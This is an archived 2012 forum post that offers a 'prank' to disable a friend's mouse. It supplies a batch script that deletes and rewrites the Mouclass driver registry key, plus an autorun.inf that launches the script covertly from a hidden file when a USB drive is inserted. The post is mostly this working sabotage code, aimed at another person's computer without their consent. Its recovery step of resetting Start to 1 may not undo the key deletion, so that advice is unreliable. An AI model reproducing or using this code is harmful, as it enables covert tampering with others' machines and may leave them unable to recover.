rajeesh Posted July 25, 2012 Share Posted July 25, 2012 Disable Your Friend’s Mouse Whenever USB Disk Is Inserted. . . .Steps:-1. Open the notepad file2. Just copy and paste the below code in your notepad file. . .@echooffsetkey="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"regdelete%key%regadd %key% /v Start /t REG_DWORD /d 43. Save the file as .bat extension. . .4. Then create the other notepad file andJust copy and paste the below code in your notepad file. . .[autorun]Open=filename.fileextension is batAction=Mouse Disableyou have to put the name .bat which is already done by you. .5. save the file as autorun.inf6. Now just copies these two files and paste it in your pen drive. . .And hide these both file . . .Whenever your friend insert your pen drive in his computerThese both files are run automatically. . .and then the mouse will be disable. .For enabling the Mouse. .1. Go to run2. Type regeditThen go toHKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass Click on start and modify its value 1 instead of 4. . .After this the Mouse will enable. . .Source Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.